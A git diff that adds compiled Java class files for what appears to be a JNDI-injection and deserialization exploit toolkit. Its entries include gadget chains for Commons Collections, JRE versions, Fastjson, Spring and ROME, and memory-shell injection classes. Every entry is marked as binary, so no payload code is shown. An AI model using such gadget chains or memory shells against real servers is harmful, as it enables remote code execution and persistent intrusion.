diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class
new file mode 100644
index 0000000..b0b2ee0
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections5.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class
new file mode 100644
index 0000000..5b6cb8f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections6.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class
new file mode 100644
index 0000000..acc1cd6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections7.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class
new file mode 100644
index 0000000..95b6a00
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections8.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class
new file mode 100644
index 0000000..ee48dd2
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollections9.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class
new file mode 100644
index 0000000..4f6276e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class
new file mode 100644
index 0000000..cfe23a3
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class
new file mode 100644
index 0000000..c37bf5f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK3.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class
new file mode 100644
index 0000000..b8d64a7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK4.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class
new file mode 100644
index 0000000..8172057
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK5.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class
new file mode 100644
index 0000000..ab5a443
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/CommonsCollectionsK6.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class
new file mode 100644
index 0000000..19d3109
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/Config.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class
new file mode 100644
index 0000000..5c6b14c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/HookPointConfig.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class
new file mode 100644
index 0000000..aed7ec1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads$SUO5.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class
new file mode 100644
index 0000000..0c2d570
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Config/MemShellPayloads.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class b/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class
new file mode 100644
index 0000000..1463331
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/DynamicDependencies.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class
new file mode 100644
index 0000000..844c3f5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class
new file mode 100644
index 0000000..ed685c4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Fastjson2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/FileUpload1.class b/out/production/classes/com/qi4l/jndi/gadgets/FileUpload1.class
new file mode 100644
index 0000000..4afcd8c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/FileUpload1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class b/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class
new file mode 100644
index 0000000..94d8236
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Groovy1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class
new file mode 100644
index 0000000..ec6df9d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class
new file mode 100644
index 0000000..e2ae1b4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Hibernate2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class
new file mode 100644
index 0000000..61f1666
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class
new file mode 100644
index 0000000..b4ee9bd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JBossInterceptors1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class
new file mode 100644
index 0000000..11106f3
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class
new file mode 100644
index 0000000..100e157
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class
new file mode 100644
index 0000000..5d87e06
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRE8u20_2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class
new file mode 100644
index 0000000..2fda722
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class
new file mode 100644
index 0000000..e6f90dd
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Activator.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class
new file mode 100644
index 0000000..c90f9ca
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPClient_Obj.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class b/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class
new file mode 100644
index 0000000..329f0fc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JRMPListener.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class b/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class
new file mode 100644
index 0000000..4f5a51c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JSON1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class b/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class
new file mode 100644
index 0000000..ae8b1b9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jackson.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class b/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class
new file mode 100644
index 0000000..e54bf16
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JacksonLdapAttr.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class
new file mode 100644
index 0000000..1ddb7a6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1$1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class
new file mode 100644
index 0000000..e907422
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/JavassistWeld1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class
new file mode 100644
index 0000000..d3fbec1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class
new file mode 100644
index 0000000..cafd069
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jdk7u21variant.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class b/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class
new file mode 100644
index 0000000..8c609d8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Jython1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class
new file mode 100644
index 0000000..38d0cad
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class
new file mode 100644
index 0000000..8d165e2
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/MozillaRhino2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class
new file mode 100644
index 0000000..b7fbf75
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class
new file mode 100644
index 0000000..0ee620b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Myfaces2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class
new file mode 100644
index 0000000..0e85024
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload$Utils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class
new file mode 100644
index 0000000..6a9f71f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ObjectPayload.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ROME.class b/out/production/classes/com/qi4l/jndi/gadgets/ROME.class
new file mode 100644
index 0000000..0717104
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ROME.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class b/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class
new file mode 100644
index 0000000..312898c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ROME2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ROME3.class b/out/production/classes/com/qi4l/jndi/gadgets/ROME3.class
new file mode 100644
index 0000000..1bb24cc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ROME3.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class b/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class
new file mode 100644
index 0000000..bc8d77c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/ReleaseableObjectPayload.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class b/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class
new file mode 100644
index 0000000..b7f420a
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/RenderedImage.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class b/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class
new file mode 100644
index 0000000..56c135e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/SignedObject.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class
new file mode 100644
index 0000000..df01f63
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class
new file mode 100644
index 0000000..928d501
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring2.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class b/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class
new file mode 100644
index 0000000..e171bba
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Spring3.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class b/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class
new file mode 100644
index 0000000..2897d96
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/URLDNS.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class b/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class
new file mode 100644
index 0000000..636ef6f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Vaadin1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class b/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class
new file mode 100644
index 0000000..e6a6d40
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/Wicket1.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class
new file mode 100644
index 0000000..e0abb9f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors$Utils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class
new file mode 100644
index 0000000..da90c52
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Authors.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class
new file mode 100644
index 0000000..3ff867f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies$Utils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class
new file mode 100644
index 0000000..7a16459
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/annotation/Dependencies.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class
new file mode 100644
index 0000000..2919e1b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ByteUtil.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class
new file mode 100644
index 0000000..24fb0c8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Cache.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class
new file mode 100644
index 0000000..9d9396f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassByteChange.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class
new file mode 100644
index 0000000..1e4171e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassFiles.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class
new file mode 100644
index 0000000..56fdd5b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/ClassNameUtils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class
new file mode 100644
index 0000000..0b2340c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Gadgets.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class
new file mode 100644
index 0000000..596ee40
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/HexUtils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class
new file mode 100644
index 0000000..2744287
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/InjShell.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class
new file mode 100644
index 0000000..5903e78
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/JavaVersion.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class
new file mode 100644
index 0000000..2c41656
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Ltime.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class
new file mode 100644
index 0000000..8f15e7c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/MyURLClassLoader.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class
new file mode 100644
index 0000000..ff2f97c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Reflections.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$NoWriteReplaceSerializerFactory.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$NoWriteReplaceSerializerFactory.class
new file mode 100644
index 0000000..1272a6b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$NoWriteReplaceSerializerFactory.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class
new file mode 100644
index 0000000..5c2ba1e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer$SuObjectOutputStream.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class
new file mode 100644
index 0000000..5f5e993
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Serializer.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class
new file mode 100644
index 0000000..babb0bb
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SignedObjectUtils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class
new file mode 100644
index 0000000..7b7abb7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SnakeYamlUtils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class
new file mode 100644
index 0000000..661f3db
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil$ToStringComparator.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class
new file mode 100644
index 0000000..4864db7
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/StringUtil.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class
new file mode 100644
index 0000000..89741cc
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/SuClassLoader.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class
new file mode 100644
index 0000000..5dbdf1d
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Util.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class
new file mode 100644
index 0000000..85c3ce5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/Utils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class
new file mode 100644
index 0000000..68db6a1
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/beanshell/BeanShellUtil.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class
new file mode 100644
index 0000000..5a15201
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/cc/TransformerUtil.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class
new file mode 100644
index 0000000..e7ad28b
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/clojure/ClojureUtil.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class
new file mode 100644
index 0000000..efdab84
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/DirtyDataWrapper.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class
new file mode 100644
index 0000000..1c09b2f
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/dirty/RandomString.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class
new file mode 100644
index 0000000..24e27f4
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassFieldHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class
new file mode 100644
index 0000000..206406c
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassMethodHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class
new file mode 100644
index 0000000..1ca45ab
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/ClassNameHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class
new file mode 100644
index 0000000..a4431bf
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/handle/GlassHandler.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class
new file mode 100644
index 0000000..e7d42f8
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jdbc/jdbcutils.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class
new file mode 100644
index 0000000..dce6a28
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/HandleContainer.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class
new file mode 100644
index 0000000..4611ba6
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/ReferencableObject.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class
new file mode 100644
index 0000000..1bd4951
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization$Data.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class
new file mode 100644
index 0000000..df4f8fb
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/Serialization.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class
new file mode 100644
index 0000000..459c5f5
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/SerializedElement.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class
new file mode 100644
index 0000000..1ce0012
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCBlockData.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class
new file mode 100644
index 0000000..6d7d3d9
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc$Field.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class
new file mode 100644
index 0000000..b5ddb03
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCClassDesc.class differ
diff --git a/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class
new file mode 100644
index 0000000..512451e
Binary files /dev/null and b/out/production/classes/com/qi4l/jndi/gadgets/utils/jre/TCJavaObject.class differ
